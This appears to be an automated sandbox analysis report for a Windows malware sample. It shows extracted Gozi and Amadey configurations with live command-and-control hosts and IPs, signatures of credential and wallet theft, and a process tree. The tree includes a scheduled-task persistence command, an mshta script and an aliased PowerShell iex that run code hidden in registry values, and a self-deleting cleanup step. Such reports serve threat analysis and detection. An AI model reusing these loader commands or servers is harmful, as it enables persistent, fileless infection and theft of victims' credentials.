Analysis
- max time kernel
150s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
- submitted
28/12/2022, 04:32
General
- Target file.exe
- Size 231KB
- Sample221228-e5yzcahd89
- SHA256 feaa238faf10f307c8ea8c736c755af838b3bcc270bcd66bcbd6ea4c4a2ba11b
Malware Config
Extracted
-
gozi
Extracted
-
gozi
-
22500
-
confisg.edge.skype.com
-
http://
-
s28bxcw.xyz
-
config.edgse.skype.com
-
http://89.43.107.7
-
base_path
/recycle/
-
build
250249
-
exe_type
loader
-
extension
.alo
-
server_id
50
Extracted
-
amadey
-
3.63
-
62.204.41.165/g8sjnd3xe/index.php
Extracted
-
gozi
-
22500
-
confisg.edge.skype.com
-
http://s28bxcw.xyz
-
http://89.43.107.7
-
base_path
/recycle/
-
build
250249
-
exe_type
worker
-
extension
.alo
-
server_id
50
Signatures
- Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
- Detect Amadey credential stealer module 2 IoCs
- Detects Smokeloader packer 1 IoCs
- Gozi
Gozi is a well-known and widely distributed banking trojan.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 7 IoCs
- Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 3 IoCs
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of SetThreadContext 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 7 IoCs
- Suspicious use of AdjustPrivilegeToken 29 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\regsvr32.exeregsvr32 /s C:\Users\Admin\AppData\Local\Temp\1FEC.dll1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe/s C:\Users\Admin\AppData\Local\Temp\1FEC.dll2⤵
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Temp\226D.exeC:\Users\Admin\AppData\Local\Temp\226D.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe"C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\232A.exeC:\Users\Admin\AppData\Local\Temp\232A.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe"C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe" /F3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\24A2.exeC:\Users\Admin\AppData\Local\Temp\24A2.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1940 -s 12762⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1940 -ip 19401⤵
-
C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exeC:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exeC:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe1⤵
- Executes dropped EXE
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Oncr='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Oncr).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\C8075711-8708-3A2C-517C-AB0E15700F22\\\DriverDocument'));if(!window.flag)close()</script>"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name idbhae -value gp; new-alias -name siyqri -value iex; siyqri ([System.Text.Encoding]::ASCII.GetString((idbhae "HKCU:Software\AppDataLow\Software\Microsoft\C8075711-8708-3A2C-517C-AB0E15700F22").ControlJunk))2⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ntqv1iey\ntqv1iey.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDB77.tmp" "c:\Users\Admin\AppData\Local\Temp\ntqv1iey\CSC63022D535C074A0B991F7D4644BCE4A4.TMP"4⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rjlvkk2i\rjlvkk2i.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDC9F.tmp" "c:\Users\Admin\AppData\Local\Temp\rjlvkk2i\CSC375DA17F27214DBE8A8662DA3D7C4A95.TMP"4⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\1FEC.dll"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 52⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
-
C:\Windows\syswow64\cmd.exe"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
1FEC.dll
1FEC.dll
1FEC.dll
226D.exe
226D.exe
232A.exe
232A.exe
24A2.exe
24A2.exe
RESDB77.tmp
RESDC9F.tmp
nbveek.exe
nbveek.exe
nbveek.exe
nbveek.exe
nbveek.exe
nbveek.exe
cred64.dll
cred64.dll
CSC63022D535C074A0B991F7D4644BCE4A4.TMP
CSC375DA17F27214DBE8A8662DA3D7C4A95.TMP
memory/1940-166-0x0000000000400000-0x000000000047C000-memory.dmp
memory/1940-164-0x000000000079D000-0x00000000007CB000-memory.dmp
memory/1940-173-0x00000000059B0000-0x00000000059EC000-memory.dmp
memory/1940-172-0x0000000005990000-0x00000000059A2000-memory.dmp
memory/1940-171-0x0000000005870000-0x000000000597A000-memory.dmp
memory/1940-178-0x0000000000400000-0x000000000047C000-memory.dmp
memory/1940-177-0x0000000006870000-0x0000000006D9C000-memory.dmp
memory/1940-176-0x0000000006690000-0x0000000006852000-memory.dmp
memory/1940-163-0x0000000004CA0000-0x0000000005244000-memory.dmp
memory/1940-174-0x0000000005CA0000-0x0000000005D32000-memory.dmp
memory/1940-165-0x0000000000710000-0x000000000075B000-memory.dmp
memory/1940-175-0x0000000005D40000-0x0000000005DA6000-memory.dmp
memory/1940-170-0x0000000005250000-0x0000000005868000-memory.dmp
memory/2828-198-0x00000297B5B20000-0x00000297B5BC2000-memory.dmp
memory/3440-196-0x000001FE12730000-0x000001FE127D2000-memory.dmp
memory/3704-197-0x000002410B660000-0x000002410B702000-memory.dmp
memory/4104-167-0x0000000000850000-0x000000000085D000-memory.dmp
memory/4104-143-0x00000000021C0000-0x0000000002255000-memory.dmp
memory/4104-144-0x00000000021C1000-0x00000000021E2000-memory.dmp
memory/4104-146-0x00000000006D0000-0x00000000006D6000-memory.dmp
memory/4104-141-0x00000000021C0000-0x0000000002255000-memory.dmp
memory/4672-199-0x000001BD10CD0000-0x000001BD10D72000-memory.dmp
memory/4720-200-0x000001691C5E0000-0x000001691C682000-memory.dmp
memory/4840-132-0x00000000004AD000-0x00000000004BE000-memory.dmp
memory/4840-133-0x0000000000470000-0x0000000000479000-memory.dmp
memory/4840-134-0x0000000000400000-0x000000000045E000-memory.dmp
memory/4840-135-0x0000000000400000-0x000000000045E000-memory.dmp
memory/5112-201-0x0000000000666B20-0x0000000000666B24-memory.dmp
memory/5112-202-0x0000000000A30000-0x0000000000AC6000-memory.dmp